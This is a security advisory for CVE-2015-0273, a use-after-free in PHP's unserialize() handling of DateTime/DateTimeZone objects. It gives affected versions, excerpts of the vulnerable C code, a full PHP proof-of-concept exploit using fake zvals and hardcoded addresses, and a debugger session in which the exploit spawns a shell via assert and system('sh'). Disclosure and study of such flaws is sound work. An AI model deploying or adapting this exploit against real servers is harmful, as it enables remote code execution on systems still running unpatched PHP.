PHP DateTime Use-After-Free

`#Use After Free Vulnerability in unserialize() with DateTime* [CVE-2015-0273]  
  
Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date:  
2015.1.29 - Release Date: 2015.2.20  
  
> A use-after-free vulnerability was discovered in unserialize() with DateTime/DateTimeZone/DateInterval/DatePeriod objects's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.  
  
Affected Versions  
------------  
Affected is PHP 5.6 < 5.6.6  
Affected is PHP 5.5 < 5.5.22  
Affected is PHP 5.4 < 5.4.38  
  
Credits  
------------  
This vulnerability was disclosed by Taoguang Chen.  
  
Description  
------------  
  
```  
static int php_date_initialize_from_hash(php_date_obj **dateobj,  
HashTable *myht)  
{  
zval *z_date;  
zval *z_timezone;  
zval *z_timezone_type;  
zval tmp_obj;  
timelib_tzinfo *tzi;  
php_timezone_obj *tzobj;  
  
z_date = zend_hash_str_find(myht, "date", sizeof("data")-1);  
if (z_date) {  
convert_to_string(z_date);  
z_timezone_type = zend_hash_str_find(myht, "timezone_type",  
sizeof("timezone_type")-1);  
if (z_timezone_type) {  
convert_to_long(z_timezone_type);  
z_timezone = zend_hash_str_find(myht, "timezone", sizeof("timezone")-1);  
if (z_timezone) {  
convert_to_string(z_timezone);  
  
...  
  
static int php_date_timezone_initialize_from_hash(zval **return_value,  
php_timezone_obj **tzobj, HashTable *myht TSRMLS_DC)  
{  
zval **z_timezone = NULL;  
zval **z_timezone_type = NULL;  
  
if (zend_hash_find(myht, "timezone_type", 14, (void**)  
&z_timezone_type) == SUCCESS) {  
if (zend_hash_find(myht, "timezone", 9, (void**) &z_timezone) == SUCCESS) {  
convert_to_long(*z_timezone_type);  
if (SUCCESS == timezone_initialize(*tzobj, Z_STRVAL_PP(z_timezone)  
TSRMLS_CC)) {  
return SUCCESS;  
}  
}  
}  
return FAILURE;  
}  
```  
  
The convert_to_long() leads to the ZVAL and all its children is freed  
from memory. However the unserialize() code will still allow to use R:  
or r: to set references to that already freed memory. There is a use  
after free vulnerability, and allows to execute arbitrary code.  
  
Proof of Concept Exploit  
------------  
The PoC works on standard MacOSX 10.10.2 installation of PHP 5.5.14.  
  
```  
<?php  
  
$f = $argv[1];  
$c = $argv[2];  
  
$fakezval1 = ptr2str(0x100b83008);  
$fakezval1 .= ptr2str(0x8);  
$fakezval1 .= "\x00\x00\x00\x00";  
$fakezval1 .= "\x06";  
$fakezval1 .= "\x00";  
$fakezval1 .= "\x00\x00";  
  
$data1 = 'a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:'.strlen($fakezval1).':"'.$fakezval1.'";i:2;a:1:{i:0;R:4;}}';  
  
$x = unserialize($data1);  
$y = $x[2];  
  
// zend_eval_string()'s address  
$y[0][0] = "\x6d";  
$y[0][1] = "\x1e";  
$y[0][2] = "\x35";  
$y[0][3] = "\x00";  
$y[0][4] = "\x01";  
$y[0][5] = "\x00";  
$y[0][6] = "\x00";  
$y[0][7] = "\x00";  
  
$fakezval2 = ptr2str(0x3b296324286624); // $f($c);  
$fakezval2 .= ptr2str(0x100b83000);  
$fakezval2 .= "\x00\x00\x00\x00";  
$fakezval2 .= "\x05";  
$fakezval2 .= "\x00";  
$fakezval2 .= "\x00\x00";  
  
$data2 = 'a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:'.strlen($fakezval2).':"'.$fakezval2.'";i:2;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;R:4;}s:8:"timezone";s:3:"UTC";}}';  
  
$z = unserialize($data2);  
  
function ptr2str($ptr)  
{  
$out = "";  
for ($i=0; $i<8; $i++) {  
$out .= chr($ptr & 0xff);  
$ptr >>= 8;  
}  
return $out;  
}  
  
?>  
```  
  
Test the PoC on the command line, then any PHP code can be executed:  
  
```  
$ lldb php  
(lldb) target create "php"  
Current executable set to 'php' (x86_64).  
(lldb) run uafpoc.php assert "system\('sh'\)==exit\(\)"  
Process 13472 launched: '/usr/bin/php' (x86_64)  
sh: no job control in this shell  
sh-3.2$ php -v  
PHP 5.5.14 (cli) (built: Sep 9 2014 19:09:25)  
Copyright (c) 1997-2014 The PHP Group  
Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies  
sh-3.2$ exit  
exit  
Process 13472 exited with status = 0 (0x00000000)  
(lldb)  
```  
  
  
`